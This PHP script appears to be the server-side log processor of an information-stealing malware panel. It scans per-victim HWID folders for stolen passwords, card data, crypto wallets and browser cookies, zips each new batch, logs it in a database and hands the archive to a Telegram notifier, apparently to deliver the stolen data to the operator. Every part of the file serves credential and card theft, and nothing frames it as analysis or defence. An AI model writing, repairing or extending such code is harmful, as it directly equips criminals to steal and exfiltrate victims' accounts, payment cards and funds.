<?php
// Set UTF-8 encoding
mb_internal_encoding('UTF-8');
mb_http_output('UTF-8');

// Include error handler first
require_once(__DIR__ . '/error_handler.php');

// Log that we're starting
logMessage("Starting CLI log check");

// Include database connection
require_once(__DIR__ . '/../config.php');

// Verify database connection
if (!isset($conn) || !$conn) {
    logMessage("ERROR: Database connection failed", 'ERROR');
    die("Database connection failed. Please check your configuration.");
}

// Get username from settings table
$username = 'admin'; // Default value
$result = mysqli_query($conn, "SELECT username FROM settings LIMIT 1");
if ($result && $row = mysqli_fetch_assoc($result)) {
    $username = $row['username'];
    logMessage("DEBUG: Found username in settings table: " . $username);
} else {
    logMessage("DEBUG: No username found in settings table, using default: " . $username);
    if ($result === false) {
        logMessage("DEBUG: Error querying settings table: " . mysqli_error($conn));
    }
}

// Include Telegram notification
require_once(__DIR__ . '/telegram_notify.php');

// Function definitions from check_new_logs.php
function getNewLogs() {
    global $username;
    logMessage("DEBUG: getNewLogs() called with username: " . $username);
    $uploadDir = __DIR__ . '/../upload/';
    $processedFile = __DIR__ . '/processed_logs.txt';
    
    logMessage("Checking for new logs in: " . $uploadDir);
    
    // Create processed logs file if it doesn't exist
    if (!file_exists($processedFile)) {
        file_put_contents($processedFile, '');
        logMessage("Created new processed_logs.txt file");
    }
    
    // Get list of processed logs
    $processedLogs = file($processedFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    if (!is_array($processedLogs)) {
        $processedLogs = [];
    }
    logMessage("Found " . count($processedLogs) . " previously processed logs");
    
    $newLogs = [];
    
    // Scan upload directory for new HWID folders
    $hwidFolders = glob($uploadDir . '*', GLOB_ONLYDIR);
    logMessage("Found " . count($hwidFolders) . " HWID folders to check");
    
    foreach ($hwidFolders as $folder) {
        $hwid = basename($folder);
        logMessage("DEBUG: Processing HWID: " . $hwid . " with username: " . $username);
        
        // Check for new log files
        $logFiles = [
            'Passwords.txt' => $folder . '/Passwords.txt',
            'cards.txt' => $folder . '/cards.txt',
            'wallets' => $folder . '/wallets',
            'Browsers' => $folder . '/Browsers'
        ];
        
        foreach ($logFiles as $type => $path) {
            $logKey = $hwid . '_' . $type;
            
            // Skip if already processed
            if (in_array($logKey, $processedLogs)) {
                logMessage("DEBUG: Skipping already processed log: " . $logKey);
                continue;
            }
            
            // Check if file/directory exists and has content
            if (file_exists($path)) {
                if (is_dir($path)) {
                    // For directories (wallets, Browsers), check if they have content
                    $hasContent = false;
                    if ($type === 'wallets') {
                        $hasContent = count(glob($path . '/*', GLOB_ONLYDIR)) > 0;
                    } elseif ($type === 'Browsers') {
                        $hasContent = count(glob($path . '/*_Cookies.txt')) > 0;
                    }
                    if ($hasContent) {
                        logMessage("DEBUG: Found new directory log: " . $logKey . " with username: " . $username);
                        $newLogs[] = [
                            'hwid' => $hwid,
                            'type' => $type,
                            'path' => $path,
                            'username' => $username
                        ];
                    }
                } else {
                    // For files, check if they have content
                    if (filesize($path) > 0) {
                        logMessage("DEBUG: Found new file log: " . $logKey . " with username: " . $username);
                        $newLogs[] = [
                            'hwid' => $hwid,
                            'type' => $type,
                            'path' => $path,
                            'username' => $username
                        ];
                    }
                }
            }
        }
    }
    
    logMessage("DEBUG: Total new logs found: " . count($newLogs) . " with username: " . $username);
    return $newLogs;
}

function markLogAsProcessed($hwid, $type) {
    $processedFile = __DIR__ . '/processed_logs.txt';
    $logKey = $hwid . '_' . $type;
    file_put_contents($processedFile, $logKey . "\n", FILE_APPEND);
}

function createZipForLogs($hwid, $logs) {
    global $conn;
    logMessage("DEBUG: createZipForLogs() called for HWID: " . $hwid);
    logMessage("DEBUG: First log username: " . ($logs[0]['username'] ?? 'NOT SET'));
    
    $zipFile = __DIR__ . '/../temp/' . $hwid . '_logs.zip';
    $zip = new ZipArchive();
    
    if ($zip->open($zipFile, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) {
        foreach ($logs as $log) {
            if (is_dir($log['path'])) {
                // Add directory contents
                $files = new RecursiveIteratorIterator(
                    new RecursiveDirectoryIterator($log['path']),
                    RecursiveIteratorIterator::LEAVES_ONLY
                );
                
                foreach ($files as $file) {
                    if (!$file->isDir()) {
                        $filePath = $file->getRealPath();
                        $relativePath = substr($filePath, strlen(__DIR__ . '/../upload/'));
                        $zip->addFile($filePath, $relativePath);
                    }
                }
            } else {
                // Add single file
                $relativePath = substr($log['path'], strlen(__DIR__ . '/../upload/'));
                $zip->addFile($log['path'], $relativePath);
            }
        }
        $zip->close();

        // Insert log entry into database with username from session
        if (!isset($_SESSION['username'])) {
            logMessage("ERROR: No username found in session. Please log in first.");
            return false;
        }
        $username = $_SESSION['username'];
        logMessage("DEBUG: Attempting to insert log with username: " . $username);
        
        $query = "INSERT INTO logs (hwid, username, File_log) VALUES (?, ?, ?)";
        $stmt = mysqli_prepare($conn, $query);
        if ($stmt) {
            $relativePath = 'upload/' . $hwid . '.zip';
            mysqli_stmt_bind_param($stmt, "sss", $hwid, $username, $relativePath);
            if (!mysqli_stmt_execute($stmt)) {
                logMessage("ERROR: Failed to insert log into database: " . mysqli_stmt_error($stmt));
                logMessage("ERROR: Query was: " . $query);
                logMessage("ERROR: Parameters were - hwid: " . $hwid . ", username: " . $username . ", path: " . $relativePath);
            } else {
                logMessage("DEBUG: Successfully inserted log with username: " . $username);
            }
            mysqli_stmt_close($stmt);
        } else {
            logMessage("ERROR: Failed to prepare statement: " . mysqli_error($conn));
        }

        return $zipFile;
    }
    return false;
}

// Create temp directory if it doesn't exist
$tempDir = __DIR__ . '/../temp';
if (!file_exists($tempDir)) {
    mkdir($tempDir, 0777, true);
}

// Get new logs
$newLogs = getNewLogs();

// Group logs by HWID
$logsByHwid = [];
foreach ($newLogs as $log) {
    $logsByHwid[$log['hwid']][] = $log;
}

// Process each HWID's logs
foreach ($logsByHwid as $hwid => $logs) {
    logMessage("Processing logs for HWID: " . $hwid);
    
    // Create zip file for this HWID's logs
    $zipFile = createZipForLogs($hwid, $logs);
    
    if ($zipFile) {
        logMessage("Created zip file: " . $zipFile);
        
        // Send notification with zip file
        $types = array_map(function($log) { return $log['type']; }, $logs);
        $typeStr = implode(', ', $types);
        
        $notificationResult = notifyNewLogs($hwid, $typeStr, $zipFile);
        logMessage("Notification result for " . $hwid . ": " . ($notificationResult ? "Success" : "Failed"));
        
        // Mark logs as processed
        foreach ($logs as $log) {
            markLogAsProcessed($log['hwid'], $log['type']);
            logMessage("Marked as processed: " . $log['hwid'] . "_" . $log['type']);
        }
        
        // Clean up zip file
        unlink($zipFile);
        logMessage("Cleaned up zip file: " . $zipFile);
    } else {
        logMessage("Failed to create zip file for HWID: " . $hwid, 'ERROR');
    }
}

logMessage("CLI log check completed");
?> 